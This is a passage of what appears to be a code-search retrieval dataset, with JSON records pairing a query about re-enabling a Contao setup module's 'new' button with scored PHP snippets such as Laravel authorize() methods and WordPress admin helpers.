//Check permittion to select a community.\n if (\\Gate::denies('create', 'community')) {\n return \\Request::input('community_id') == \\Auth::user()->community_id;\n }\n \n return true;\n }", "title": "" }, { "docid": "8b3f9044d95b926f02469e3982f1b591", "score": "0.6656082", "text": "public function authorize()\n {\n $id = $this->route()->parameter('id');\n $transferOut = TransferOut::with('firm', 'buyer.advancedBuyer', 'employee', 'invoice.cashFlows')\n ->findOrFail(intval($id));\n $buyers = $this->user()->userBuyers;\n if ($buyers->isEmpty() || $buyers->firstWhere('buyer_id', $transferOut->POKUPATCODE)) {\n $this->merge(compact('transferOut'));\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "2a38ec6dc482f19d19d083ddf797d18b", "score": "0.66529405", "text": "public function authorize()\n {\n\n return user()->hasPermissionTo('Ecommerce::cart.access');\n }", "title": "" }, { "docid": "c266d96620157dfc3167cfcc869d370b", "score": "0.66456306", "text": "public function hasViewAccess() {\n return entity_access('view', $this->getEntityType(), $this->entity);\n }", "title": "" }, { "docid": "ff68da2ee92e3161335970fe6a91a691", "score": "0.664222", "text": "public function canView(ConclusionInterface $conclusion);", "title": "" }, { "docid": "65d288a639f5eac1b2baeeab1699690a", "score": "0.6641469", "text": "public function canViewSegmentContact()\n\t{\n\t\treturn AccessController::can($this->user->getId(), ActionDictionary::ACTION_SEGMENT_CLIENT_VIEW);\n\t}", "title": "" }, { "docid": "8cc3c03300516e3f08b52824a6ce2b16", "score": "0.66357046", "text": "public function authorize(): bool\n {\n return Gate::any(['is-admin', 'is-it-team-member']);\n }", "title": "" }, { "docid": "ee339944c41409a6cea786d4ff7a2335", "score": "0.6633911", "text": "public function authorize()\n {\n return auth()->user()->member->id === $this->member->id;\n }", "title": "" }, { "docid": "dced74f2383a4697861f159569a041c0", "score": "0.6629036", "text": "public function authorize()\n {\n $this->setModel(Invoice::class);\n\n return $this->isAuthorized();\n }", "title": "" }, { "docid": "535abf517ea64ef2028970cc3f8242a4", "score": "0.66275364", "text": "public function authorize()\n {\n return Auth::user()->canDo('EDIT_USERS');\n }", "title": "" }, { "docid": "fefac8e810287d033d958d5c9a52717f", "score": "0.66275173", "text": "public function authorize()\n {\n return $this->user()->can('import', Client::class);\n }", "title": "" }, { "docid": "274535ccf195c6aad0b6b12890514c06", "score": "0.6623743", "text": "public function authorize()\n {\n return true;\n //return $this->user()->checkBiblio();\n }", "title": "" }, { "docid": "1c97066f04660652f2ca079454955a75", "score": "0.6621813", "text": "public function authorize()\n {\n if (Auth::user()->isAdmin()){\n return true;\n }\n $album = Album::find($this->id);\n if (\\Gate::denies('gestione-album', $album)){\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "cb814c4c1455a9fbf2fcee2f550985b6", "score": "0.6619374", "text": "public function authorize()\n {\n return auth()->user()->can('create', Credit::class);\n }", "title": "" }, { "docid": "516f2dc98c08f5fc316bc227327b35d0", "score": "0.661656", "text": "public function authorize()\n {\n return \\Auth::user()->hasRole('admin') or \\Auth::user()->hasPermission('sent-campaign');\n }", "title": "" }, { "docid": "6376534de447322dc42273a919390fb2", "score": "0.6615899", "text": "public function authorize()\n {\n if ($this->isUserAdmin()) {\n return true;\n }\n\n return $this->isUserOwner($this->resourcesData);\n }", "title": "" }, { "docid": "a85b6f8856c735f2a85bf3dfeae1e340", "score": "0.6608648", "text": "public function authorize()\n {\n return auth()->user()->type == 'owner' || auth()->user()->type == 'admin';\n }", "title": "" }, { "docid": "c3823b2be80cf527cd5b7f11fb079e86", "score": "0.6601805", "text": "public function can_view() {\n $context = \\context_course::instance($this->_courseid);\n return has_capability('tool/recyclebin:viewitems', $context);\n }", "title": "" }, { "docid": "d4cda03d4f6769bde8ccb23b01a6e4b3", "score": "0.6600404", "text": "public function authorize()\n {\n return Auth::user()->hasRole('manage-schedules');\n }", "title": "" }, { "docid": "0d06e95c1b1372a5e27583975939160b", "score": "0.6600211", "text": "public function userCanView( $user ) {\n\t\treturn true;\n\t}", "title": "" }, { "docid": "b3c9c9e34381153bcaff864c75230a38", "score": "0.65992033", "text": "public function authorize()\n {\n return auth()->user()->id === (int) $this->route('note')->user_id;\n }", "title": "" }, { "docid": "ddd0aa5c36121847362fd5201538b14f", "score": "0.6596285", "text": "public function authorize()\n {\n $project = Project::findOrFail($this->route('projectId'));\n return Auth::user()\n && $project\n && UserProjectRoleResolver::userHasAccessTo(Auth::user(), $project, UserProjectRoleResolver::USER_CAN_EDIT_PROJECT);\n }", "title": "" }, { "docid": "8c6d7a01a3277a4719ffe22c794a17f7", "score": "0.6595621", "text": "public function authorize()\n {\n return $this->user()->ownCurrentTeam();\n }", "title": "" }, { "docid": "37e3a663086b468f101b243035cc75b0", "score": "0.6593932", "text": "public function authorize()\n {\n switch (FormRequest::get('method')) {\n case 'updateUser':\n return $this->user()->can('Update User');\n case 'restoreUser':\n return $this->user()->can('Restore User');\n case 'revokeUserAccess':\n return $this->user()->can('Revoke User');\n default:\n return false;\n }\n }", "title": "" }, { "docid": "adabc7c857c0d027cab4ba10cf610bed", "score": "0.6587014", "text": "public function authorize()\n {\n // We must validate that the connected user is the owner of the event to update.\n $event = Event::find($this->route('id'));\n return !is_null($event) && $event->host == Auth::id();\n }", "title": "" }, { "docid": "543d3d2145f421572e52d1a8cf0eba44", "score": "0.6586707", "text": "public function authorize()\n {\n try{\n $user = (new UsersRepository(new User()))->findById($this->route()->parameter('user_id'));\n return ($this->user()->can('edit','users',$user));\n }catch(\\Exception $e){\n return false;\n }\n }", "title": "" }, { "docid": "1a1c55e4eefd9706327535847b466eab", "score": "0.6584634", "text": "public function authorize()\n {\n $user = Auth::user();\n $message = Message::find($this->route('message'));\n return $user->can('message-show') || $user->id == $message->notifiable_id || $user->id == $message->data['notifiable_id'];\n }", "title": "" }, { "docid": "6f0c79da624bfa4177e2c2224acb6af7", "score": "0.6582902", "text": "public function authorize()\n {\n return $this->user()->userRole->add_clients == 1 ? true : false;\n }", "title": "" }, { "docid": "37f7f199e7353737d1005bcaa49ae905", "score": "0.6582342", "text": "public function authorize()\n {\n $accessor = $this->user();\n\n return $accessor->isAdmin() || (\n strpos($this->url(), 'keys/') === false &&\n $accessor->hasKey('get-users')\n );\n }", "title": "" }, { "docid": "18aff39f7ff0c17390502cbb0393b2d4", "score": "0.65817", "text": "public function authorize(): bool\n {\n return auth()->user()->can('view_products');\n }", "title": "" }, { "docid": "525cb396f8ffd2d15c44bb7435f630e3", "score": "0.65796995", "text": "public function authorize()\n\t{\n\t\treturn true; //no user checking\n\t\t//TODO: must be logged in, but doesnt need an org\n\t}", "title": "" }, { "docid": "3ebf66c748ebb4bcecc72c2a6f8f04c3", "score": "0.6576556", "text": "public function authorize() {\n $this->band = $this->route('band');\n return $this->user()->can('update', $this->band);\n\n }", "title": "" }, { "docid": "6e455593c64372e3acf4a4b261256ea4", "score": "0.6574947", "text": "public function authorize()\n {\n $accessor = $this->user();\n\n $isAdmin = $accessor->isAdmin();\n\n return strpos($this->url(), 'entries/') !== false ? \n $isAdmin || $accessor->hasKey('post-entries') :\n $isAdmin || $accessor->hasKey('post-users-entries');\n }", "title": "" }, { "docid": "d6ac25c880181d2c548e111a3ac86671", "score": "0.6572467", "text": "public function authorize()\n {\n return (bool)$this->user();\n }", "title": "" } ]
21f5f95c9628a9fce6f29947c1eb6179
DCA for setup module tables is "closed" to hide the "new" button. Reenable it when clicking on a button
[ { "docid": "133c4af1ad33b1cb0f571ebf9f90a752", "score": "0.5629035", "text": "public function initializeSetupModule($dc)\n {\n if (Input::get('act') != '') {\n $GLOBALS['TL_DCA'][$dc->table]['config']['closed'] = false;\n }\n }", "title": "" } ]
[ { "docid": "b8ac43843568d9ad2a2ff7c8dc5e24cb", "score": "0.6752745", "text": "private function hideFieldsOnInstallPanel()\r\n {\r\n \t$this->oldPanel->Visible = false;\r\n \t$this->SearchPartsPanel->hidePanel();\r\n\t\t$this->installButton->Display = \"None\";\r\n }", "title": "" }, { "docid": "28146f8e30ac1ff1d202a6ae47e9911c", "score": "0.6026202", "text": "private function hideDeactivateKitPanel()\r\n {\r\n \t$this->outer->Display=\"None\";\r\n\t\t$this->inner->Display=\"None\";\r\n }", "title": "" }, { "docid": "0520e602b17c306c1f4b17b3cf4ba49c", "score": "0.5954798", "text": "protected function toggleDisableAction() {}", "title": "" }, { "docid": "a983bac714bcce3be3b3980a70aa33aa", "score": "0.5840271", "text": "public function ShowNewEntryButton()\n {\n return true;\n }", "title": "" }, { "docid": "7c053dab074ea526997c862d524d371c", "score": "0.5832765", "text": "function eh_bulk_edit_deactivate_work() {\n\t\tupdate_option( 'eh_bulk_edit_pack', '' );\n\t}", "title": "" }, { "docid": "ea3f9a6e2c03b1079e3de02ab15c1ded", "score": "0.58323336", "text": "function liqprocesos_Button_Update_BeforeShow()\n{\n $liqprocesos_Button_Update_BeforeShow = true;\n//End liqprocesos_Button_Update_BeforeShow\n\n//Custom Code @348-A35EB8FD\n// -------------------------\n global $liqprocesos;\n \t$opCode=CCGetParam('pOpCode',false);\n\tif ($opCode == 'R') { // \t\t\tInstruccion de retornar a la pagina de procesamiento\n\t\t$liqprocesos->Button_Insert->Visible = False;\n\t\t$liqprocesos->Button_Update->Visible = False;\n\t\t$liqprocesos->Button_Delete->Visible = False;\n\t\t}\n // Write your own code here.\n// -------------------------\n//End Custom Code\n\n//Close liqprocesos_Button_Update_BeforeShow @260-11EFDAE1\n return $liqprocesos_Button_Update_BeforeShow;\n}", "title": "" }, { "docid": "4b55f43f6de433f36efdf0cfb2a07e0e", "score": "0.5766842", "text": "public function setAsHidden();", "title": "" }, { "docid": "91026a86ce4dcebd047520b5ca8b5eaa", "score": "0.5748989", "text": "public function disableModuleAction() {\n }", "title": "" }, { "docid": "0fa59656e9b3d3f171e9071a2eb0ba4e", "score": "0.56748503", "text": "protected function hideFieldsForAddEdit()\n {\n }", "title": "" }, { "docid": "35d699ef1caddad1c40dc760ba8408c9", "score": "0.5641675", "text": "function add_deactive_modal() {\n global $pagenow;\n\n if ( 'plugins.php' !== $pagenow ) {\n return;\n }\n\n include RELATED_POSTS_THUMBNAILS_PLUGIN_DIR . 'inc/rpt-deactivate-form.php';\n }", "title": "" }, { "docid": "6ec74b959cffecdbf3c334031d12e302", "score": "0.5637266", "text": "protected function hideFieldsForAddEdit()\n\t{\n\t}", "title": "" }, { "docid": "6e9c88a4bca02ad5b122ed3587387791", "score": "0.5632346", "text": "public function hide() {\n\t\treturn true;\n\t}", "title": "" }, { "docid": "6e9c88a4bca02ad5b122ed3587387791", "score": "0.5632346", "text": "public function hide() {\n\t\treturn true;\n\t}", "title": "" }, { "docid": "6e9c88a4bca02ad5b122ed3587387791", "score": "0.5632346", "text": "public function hide() {\n\t\treturn true;\n\t}", "title": "" }, { "docid": "9ff558c8f5024c434eb6adb5f404f4eb", "score": "0.5630402", "text": "function liqbuques_BeforeShow()\n{\n $liqbuques_BeforeShow = true;\n//End liqbuques_BeforeShow\n\n//Custom Code @15-4AA786FA\n// -------------------------\n global $liqbuques;\n if ($liqbuques->EditMode) $liqbuques->lbTitulo->SetValue(\"MODIFICACION DE BUQUE / VAPOR\");\n// -------------------------\n//End Custom Code\n\n//Close liqbuques_BeforeShow @2-3EC14D0E\n return $liqbuques_BeforeShow;\n}", "title": "" }, { "docid": "714e6bc7e839fbbe1a5327f2eb3d7b73", "score": "0.5608161", "text": "public function i4_remove_admin_bar() {\n show_admin_bar(false);\n }", "title": "" }, { "docid": "29fe56e7e8330b45a5289fb6592e20bf", "score": "0.55992943", "text": "public function setAsVisible();", "title": "" }, { "docid": "d38c8b3552fd27d61136eea144727cc8", "score": "0.5586322", "text": "public function displayInAdmin()\n {\n return false;\n }", "title": "" }, { "docid": "5c30746faa6bfcc9f53b5a8e7cc8d66d", "score": "0.558012", "text": "public function hide() {\n $this->display = false;\n }", "title": "" }, { "docid": "6668c9923daac489af651e6395fcb142", "score": "0.55064833", "text": "function hide_admin_bar($flag) {\n return false;\n}", "title": "" }, { "docid": "45292962fc99c75a134ec87df1aba301", "score": "0.5458721", "text": "public function prerender() {\n\t\t$this->set_visible(is_admin());\n\t}", "title": "" }, { "docid": "f3568f888746bc56f4215bad6dcdb916", "score": "0.5456432", "text": "function deactivate_writerzbayform_plugin() {\n\tInc\\Base\\Deactivate::deactivate();\n}", "title": "" }, { "docid": "82b39b1241c03d2ca774c3d70de0ab59", "score": "0.5456129", "text": "public function setHidden()\n {\n $this->_hidden = true;\n }", "title": "" }, { "docid": "4a8da3faf67eaee563a10e9ccae26bab", "score": "0.5455292", "text": "public function after_adminpanel_render()\n {\n }", "title": "" }, { "docid": "1dcca0f5336523b793f57bd410377cb4", "score": "0.5449378", "text": "function deactivate() {\r\n \r\n }", "title": "" }, { "docid": "d1ef8bff73de2f61fb234111dc4a8138", "score": "0.5439696", "text": "function ample_construction_deactivate_ocdi() {\r\n if (!class_exists('OCDI_Plugin')) {\r\n return;\r\n }\r\n if (get_option('ample_construction_demo_imported') == 1) {\r\n deactivate_plugins('one-click-demo-import/one-click-demo-import.php');\r\n }\r\n}", "title": "" }, { "docid": "e3557b97d96472d9e131a7972c0e89fc", "score": "0.5434733", "text": "function remove_admin_bar() {\n\n show_admin_bar( false );\n\n}", "title": "" }, { "docid": "cb9b0f356d04ac3414ac2dad92d1c3e7", "score": "0.5429323", "text": "private function gt3_page_builder() {\n\t\t\tif ( has_action( 'ecpt_field_options_' ) ) {\n\t\t\t\tglobal $pagenow;\n\n\t\t\t\tif ( 'admin.php' === $pagenow ) {\n\t\t\t\t\tremove_action( 'admin_init', 'pb_admin_init' );\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "3e34c6d6d27f18f5e23bbc562af620d6", "score": "0.5426192", "text": "public function hidden() {\n $this->location = \"undisclosed\";\n $this->active = false;\n }", "title": "" }, { "docid": "38940f624eabae9f55fec97a8a53d172", "score": "0.5418347", "text": "public function SetPanelSettings()\n\t{\n\n\t\t$this->productClass = GetClass('ISC_PRODUCT');\n\t\t$this->db = $GLOBALS['ISC_CLASS_DB'];\n\n\t\t$productDetails = $this->productClass->GetProduct();\n\n\t\t$productCats\t=\texplode(',', $productDetails['prodcatids']);\n\t\t\n\t\t$GLOBALS['ShowCustomeButton']\t=\t'none';\n\n\t\tforeach($productCats\tAS\t$index\t=> $catId){\n\t\t\n\t\t\t$catSql\t\t=\t\"SELECT * FROM `[|PREFIX|]categories` WHERE `categoryid` = '$catId' \";\n\t\t\t$catQuery\t=\t$GLOBALS['ISC_CLASS_DB']->Query($catSql);\n\t\t\t$catInfo\t=\t$GLOBALS['ISC_CLASS_DB']->Fetch($catQuery);\n\n\t\t\tif(\t$catInfo['catparentid']\t==\t'13'\t){\n\t\t\t\t$GLOBALS['ShowCustomeButton']\t=\t'';\n\t\t\t\n\t\t\t}\n\t\t\n\t\t}\n\t\n\n\t\t$pageSql\t=\t\"\tSELECT * FROM `[|PREFIX|]pages` WHERE `pageid` = '9'\t\";\n\t\t$pageQuery\t=\t$GLOBALS['ISC_CLASS_DB']->Query($pageSql);\n\t\t$pageInfo\t=\t$GLOBALS['ISC_CLASS_DB']->Fetch($pageQuery);\n\n\t\t$GLOBALS['CustomButtonLink']\t=\tPageLink($pageInfo['pageid'], $pageInfo['pagetitle']);\n\t\n\t\t\n\t}", "title": "" }, { "docid": "0755cc2659ad898470e21c30f49b6a8a", "score": "0.54177487", "text": "public function hide_from_menus()\n {\n }", "title": "" }, { "docid": "0755cc2659ad898470e21c30f49b6a8a", "score": "0.5417354", "text": "public function hide_from_menus()\n {\n }", "title": "" }, { "docid": "6d6880b66455e5b8eb5aca826b3e2c67", "score": "0.54157543", "text": "function disableOverviewControl() {\n $this->overview_control = false;\n }", "title": "" }, { "docid": "56d8266369943f51c297d6e576d17ef0", "score": "0.540012", "text": "public function moduleToolbar()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "de96d2c2ccc97a6996033e720fe36c16", "score": "0.5398635", "text": "function setSubmitOff() {\r\n $this->__settings['submitButtonOff'] = 1;\r\n }", "title": "" }, { "docid": "08613b91928caed9a60bd8bbc5834779", "score": "0.53945273", "text": "public function buttonAction() {\n\t\t$this->view->assign('viewSettings',$this->settings['views']['new']);\n\t}", "title": "" }, { "docid": "a81620221c455c92cde7ed030b5d00ed", "score": "0.53940094", "text": "function deactivate_SAS_Portal() {\n require_once plugin_dir_path( __FILE__ ) . 'includes/class-sas-portal-deactivator.php';\n SAS_Portal_Deactivator::deactivate();\n}", "title": "" }, { "docid": "1856bbf35de1819329193e72f762e648", "score": "0.5382093", "text": "public function display_license_form() {\n if ( ! BD_License::has_valid_license( $this->addon_name, $this->addon_code ) ) {\n $bd = BULK_DELETE();\n $bd->display_activate_license_form = TRUE;\n }\n }", "title": "" }, { "docid": "543d586ce6ba41df9bcebfb1d58bc851", "score": "0.5380996", "text": "public static function deactivate_module() {\n\n\t\tdelete_site_option( 'inpsyde_multilingual_quicklink_options' );\n\t}", "title": "" }, { "docid": "17b6ebd4d4b66a200b9c525eac2593e2", "score": "0.53806335", "text": "protected function _addNewButton()\n {\n }", "title": "" }, { "docid": "d6fa9d4494fcff1a2a9c76497597dd0a", "score": "0.53795964", "text": "public function deactivate() {\n\t\t$this->Maintenance->setMaintenanceMode(false);\n\t\t$this->out('Maintenance mode deactivated ...');\n\t}", "title": "" }, { "docid": "5521466df40b2e58d9a44181035ffd2d", "score": "0.5376731", "text": "public function hide() {\n if ($this->hide_raw(0)) {\n cache_helper::purge_by_event('changesincoursecat');\n add_to_log(SITEID, \"category\", \"hide\", \"editcategory.php?id=$this->id\", $this->id);\n }\n }", "title": "" }, { "docid": "8d3d4fb31d0d54c28ed780f958a6d798", "score": "0.53755736", "text": "function deactivate() \n\t{\t\t\n\t\t$obj = & $this->content_obj;\n\t\t\n\t \tif ($obj->isEnabled ()) \n\t \t\t$obj->disable ();\n\t \telse\n\t \t\t$obj->enable ();\n\t \t\n\t \t$updated = $this->pg_obj->update($this->hier_id);\n\t\tif($updated !== true)\n\t\t{\n\t\t\t$_SESSION[\"il_pg_error\"] = $updated;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tunset($_SESSION[\"il_pg_error\"]);\n\t\t}\n\t\n\t \t$this->ctrl->returnToParent($this, \"jump\".$this->hier_id);\t \t\n\t}", "title": "" }, { "docid": "f662ad052271ec0b6abdeee7886bc2a9", "score": "0.53719795", "text": "function disable_admin_bar() {\n show_admin_bar(false);\n}", "title": "" }, { "docid": "4cab3d41146d61445eafa64f638771b1", "score": "0.53698295", "text": "public function init()\n {\n if (!$this->owner->config()->enable_menu_item) {\n CMSMenu::remove_menu_item('CMSSiteDesignController');\n }\n }", "title": "" }, { "docid": "f70bc5e0a6adeb655935717ebffd4390", "score": "0.536876", "text": "public function init()\n\t\t{\n\t\t\t$this->ShowSaveAndCancelButtons(false);\n\t\t}", "title": "" }, { "docid": "24b053440b439adaf9c3ac03009f2285", "score": "0.5366006", "text": "public function hideButtons() {\n $this->hideButtons = true;\n return $this;\n }", "title": "" }, { "docid": "1ae5d6ff93e925f1f57aa9477f46401b", "score": "0.53648835", "text": "public function hidenewsAction() {\n $this->_getSettingsModel()->hideNews();\n $this->_okResponse(array('result' => 'OK'));\n }", "title": "" }, { "docid": "3ea7f42837fa1f893261c2034b259dab", "score": "0.5357812", "text": "public function activation() {\r\n\r\n\t\tdelete_option( $this->plugin_slug . '_hide_key_notice' );\r\n\r\n\t}", "title": "" }, { "docid": "82c083bdbb9b85d50fb4c5cd6c828a4f", "score": "0.535653", "text": "function asileurope_admin_css() {\r\n echo '<style>\r\n #localisations_lexico_carto-add-toggle {\r\n display:none;\r\n }\r\n div[data-field_name=annee_expulsion] {\r\n /*display:none;*/\r\n\r\n }\r\n </style>';\r\n}", "title": "" }, { "docid": "06c0ad5ef34e44dbf84201d626b1b74d", "score": "0.53561854", "text": "function setCancelOff() {\r\n $this->__settings['cancelButtonOff'] = 1;\r\n }", "title": "" }, { "docid": "a09a88a055c2a82cfb69a98197b8aaa3", "score": "0.5348201", "text": "public function desactivarModoDebug() {\r\n\t\treturn $this->conexion_ID->debug = false;\r\n\t}", "title": "" }, { "docid": "1a9336e93bb7876f8dcec90fbfa74b11", "score": "0.53457975", "text": "public static function setAdminMode() {}", "title": "" }, { "docid": "2b5c3371528705edf66c5d6e02e1f729", "score": "0.53406674", "text": "public function unhide()\n {\n }", "title": "" }, { "docid": "2318eff79d30ee0966537cabfe647e35", "score": "0.53336066", "text": "public function enableModuleAction() {\n }", "title": "" }, { "docid": "f8a32a245b39254d1fd18fcbd328b6fa", "score": "0.5326854", "text": "protected function hidden()\n {\n \n }", "title": "" }, { "docid": "a7ffa4991e05c070b9cbf06f81575b8c", "score": "0.5326502", "text": "protected function hideFieldsForAddEdit()\n {\n if ($this->isAdd() || $this->isCopy() || $this->isGridAdd()) {\n $this->id->Visible = false;\n }\n }", "title": "" }, { "docid": "239649e41956f44e662443672f86102a", "score": "0.53236973", "text": "function hide_admin_tab()\n{\n?>\n\t<style type=\"text/css\">\n\t\t.show-admin-bar {\n\t\t\tdisplay: none;\n\t\t}\n\t</style>\n<?php\n}", "title": "" }, { "docid": "e903dddd8f2b8cb3c2f85a2f0dbdf45f", "score": "0.53195065", "text": "abstract protected function moduleDisabled();", "title": "" }, { "docid": "356405cc60d38aa6f11cf076474783a2", "score": "0.5318795", "text": "function admin_maintenance() {\n\n\t\t$this->Module->recursive = 0;\n\n\t\t/**\n\t\t * Put all options in \"options\".\n\t\t * $options will be available in the view.\n\t\t */\n\t\t$this->set('options', $this->paginate());\n\t}", "title": "" }, { "docid": "2123a3ecc3f024d20098907a4de0b794", "score": "0.53052235", "text": "public function hide()\n {\n }", "title": "" }, { "docid": "4f8b7568c59cae074372b56c06cc27ce", "score": "0.52977484", "text": "private function _alter_sidebar_deft()\n\t{\n\t\t$this->EE->db->query(\"ALTER TABLE exp_members ALTER COLUMN show_sidebar SET DEFAULT 'n'\");\n\t}", "title": "" }, { "docid": "2daea6cb05d5d337d0b6a1f517f203ff", "score": "0.52798146", "text": "function deactivate()\r\n { \r\n }", "title": "" }, { "docid": "7d2ea487fc6eeb692f9911b9c3dab345", "score": "0.5277465", "text": "public function toggle_visibility()\n {\n $this->set_hidden(! $this->is_hidden());\n }", "title": "" }, { "docid": "509bd76b8095a0675f66e5e3f4a24c17", "score": "0.52767175", "text": "function BeforeShowEdit(&$xt, &$templatefile, $values, &$pageObject)\n{\n\n\t\tif($values['stock_type']==2 || $values['stock_type']==3){\n\t$pageObject->hideItem(\"integrated_edit_field4\");\n}\n\n// Place event code here.\n// Use \"Add Action\" button to add code snippets.\n;\t\t\n}", "title": "" }, { "docid": "282845c921c54754b7fa01f8dadad134", "score": "0.5271056", "text": "static function deactivate ( ) {\r\n\t\t\t\t// do nothing ;)\r\n }", "title": "" }, { "docid": "68b567c085bc1d4aaf69f527ccdddae2", "score": "0.5270092", "text": "function hypnotherapy_callback_hide_admin_notice() {\n\t\tupdate_option('hypnotherapy_admin_notice', '0');\n\t\texit;\n\t}", "title": "" }, { "docid": "6fd33688e9aca8aaed89114654490454", "score": "0.5261078", "text": "public function blinkBudgetAction()\n\t{\n\t\t$this->_helper->layout->disableLayout();\n\t}", "title": "" }, { "docid": "ef80afa6ceef6bd1e060f3339cf5e2b8", "score": "0.52549183", "text": "public function packageSettingsAction() {\n\n //TAB CREATION\n $this->view->navigation = $this->_navigation = Engine_Api::_()->getApi('menus', 'core')\n ->getNavigation('siteevent_admin_main', array(), 'siteeventticket_admin_main_ticket');\n \n $this->view->navigationGeneral = Engine_Api::_()->getApi('menus', 'core')\n ->getNavigation('siteeventticket_admin_main_ticket', array(), 'siteevent_admin_main_packagesettings');\n \n $previousPackageSetting = Engine_Api::_()->getApi('settings', 'core')->getSetting('siteevent.package.setting',1);\n\n $this->view->form = $form = new Siteevent_Form_Admin_Settings_Package();\n if ($this->getRequest()->isPost() && $form->isValid($this->_getAllParams())) {\n $values = $form->getValues();\n //UNSET ALL CHECKBOX VALUES BEFORE WE SET NEW VALUES.\n if (Engine_Api::_()->getApi('settings', 'core')->getSetting('siteevent.package.setting', 1) && Engine_Api::_()->getApi('settings', 'core')->getSetting('siteevent.package.information')) {\n Engine_Api::_()->getApi('settings', 'core')->removeSetting('siteevent.package.information');\n }\n\n foreach ($values as $key => $value) {\n if ($key != 'save' && $key != 'is_remove_note') {\n Engine_Api::_()->getApi('settings', 'core')->setSetting($key, $value);\n }\n }\n\n if ($previousPackageSetting != $values['siteevent_package_setting']) {\n $menuitemsTable = Engine_Api::_()->getDbTable('menuitems', 'core');\n if(!empty($values['siteevent_package_setting'])) {\n $menuitemsTable->update(array('params' => '{\"route\":\"siteevent_package\"}'), array('name = ?' => 'siteevent_main_create', 'module = ?' => \"siteevent\", \"menu = ?\" => \"siteevent_main\"));\n $menuitemsTable->update(array('params' => '{\"route\":\"siteevent_package\"}'), array('name = ?' => 'siteevent_quick_create', 'module = ?' => \"siteevent\", \"menu = ?\" => \"siteevent_quick\"));\n }\n else {\n $menuitemsTable->update(array('params' => '{\"route\":\"siteevent_general\",\"action\":\"create\"}'), array('name = ?' => 'siteevent_main_create', 'module = ?' => \"siteevent\", \"menu = ?\" => \"siteevent_main\"));\n $menuitemsTable->update(array('params' => '{\"route\":\"siteevent_general\",\"action\":\"create\"}'), array('name = ?' => 'siteevent_quick_create', 'module = ?' => \"siteevent\", \"menu = ?\" => \"siteevent_quick\")); \n }\n } \n }\n }", "title": "" }, { "docid": "cec85a6afc6778b020943a7887bffcec", "score": "0.5252685", "text": "public function set_showhide() {\n\t\t$hide = isset( $_POST['showhide'] ) && ( 'hide' === $_POST['showhide'] ) ? 'hide' : '';\n\t\tMainWP_Helper::update_option( 'mainwp_wp_staging_hide_plugin', $hide, 'yes' );\n\t\t$information['result'] = 'SUCCESS';\n\t\treturn $information;\n\t}", "title": "" }, { "docid": "187ea04469888df1010b3cdc10623b71", "score": "0.5252665", "text": "public function hideFromIndex(): bool\n {\n return false;\n }", "title": "" }, { "docid": "49f08ddc8712bcbf7a229a5ce0e3a285", "score": "0.5247529", "text": "public function SetNoEditLinks()\n {\n $this->Edit_Links = qqn(\"\n <td align=`center`><a href=`#` class=`row_view` title=`View` onclick=`tableViewClick('@IDX@','@VALUE@','@EQ@','@TITLE@'); return false;`></a></td>\");\n $this->Edit_Links_Count = 1;\n $this->Add_Link = '';\n }", "title": "" }, { "docid": "0e76b3e24182c358f1194b7ec90ec92a", "score": "0.52474153", "text": "function configPage(){ return false; }", "title": "" }, { "docid": "9ed520dd7fdbf3ca9541169641c16758", "score": "0.5244417", "text": "function nmMenuAppToolbarMenu()\n {\n $this->SetTable('tab_apl');\n $this->SetCodField('Cod_Apl');\n $this->SetFields(array('toolbarMenu' =>\n array(\n 'toolbarmenu',\n 'SchemaAll'\n )\n )\n );\n }", "title": "" }, { "docid": "99b36d225dcd078f364a833af371da39", "score": "0.52357614", "text": "public function testCrceDataControlDisable()\n {\n\n }", "title": "" }, { "docid": "2511ba46030f3198e5c887c59caff7af", "score": "0.5234271", "text": "public function hide();", "title": "" }, { "docid": "9117191a3a900f0b026be1a41cd2c867", "score": "0.52329564", "text": "function advinvsys_deactivate() {\r\n global $db;\r\n \r\n // se sterg setarile din baza de date\r\n $db->write_query(\"DELETE FROM \" . TABLE_PREFIX . \"settinggroups WHERE name = 'advinvsys_group'\");\r\n $db->write_query(\"DELETE FROM \" . TABLE_PREFIX . \"settings WHERE name LIKE 'advinvsys_setting_%'\");\r\n \r\n // se reconstruiesc toate setarile\r\n rebuild_settings();\r\n \r\n // se sterge cache-ul folosit la reguli\r\n $db->delete_query(\"datacache\", \"title = 'advinvsys_rules'\");\r\n \r\n // se sterge campul de verificare al codului invitatiei in cadrul formularului de inregistrare\r\n require_once MYBB_ROOT . \"inc/adminfunctions_templates.php\";\r\n find_replace_templatesets(\"member_profile\", '#' . preg_quote('{$advinvsys_profile}') . '#i', '', 0);\r\n find_replace_templatesets(\"member_register\", \"#\" . preg_quote('{$advinvsys_reg_field}') . \"#i\", '', 0);\r\n find_replace_templatesets(\"member_register_agreement\", \"#\" . preg_quote('{$advinvsys_save_code}') . \"#i\", '', 0);\r\n find_replace_templatesets(\"stats\", \"#\" . preg_quote('<br />{$lang->advinvsys_stats_total} <strong>{$stats[\\'totalinvs\\']}</strong>') . \"#i\", '', 0); \r\n find_replace_templatesets(\"stats\", \"#\" . preg_quote('<br />{$lang->advinvsys_stats_perusers} <strong>{$advinvsys_invsperusers}</strong>') . \"#i\", '', 0); \r\n}", "title": "" }, { "docid": "eefdd56b7d0288d7d86b37aa3623e37b", "score": "0.5227987", "text": "public function hideCard(){\n $this->strState = 'hidden';\n }", "title": "" }, { "docid": "60d0df352e0244096be30f9c38ed3f61", "score": "0.52246004", "text": "function setHideTool( $bool_is_hide_tool\t= false, $init = 'HIDE' )\r\n\t{\r\n\t\t$this->isHideToolOn\t= $bool_is_hide_tool;\r\n\t\t$this->HideToolInit\t= $init;\r\n\t}", "title": "" }, { "docid": "d14c1985f45d22d8b5a4b585e2585098", "score": "0.52207595", "text": "protected function dismiss_user_auto_draft_changesets()\n {\n }", "title": "" }, { "docid": "e5bf2f33a91dff5f1a90b90601ff89f9", "score": "0.5218872", "text": "function snax_hide_create_button( $show ) {\n\tif ( is_user_logged_in() && ! current_user_can( 'snax_add_posts' ) ) {\n\t\t$show = false;\n\t}\n\n\tif ( snax_is_frontend_submission_page() ) {\n\t\t$show = false;\n\t}\n\n\treturn $show;\n}", "title": "" }, { "docid": "08ecab604cd8bef7f5969d44d8511b32", "score": "0.5210585", "text": "public static function unsetAdminMode() {}", "title": "" }, { "docid": "d665eda7aa657cb89185ec24a6049b24", "score": 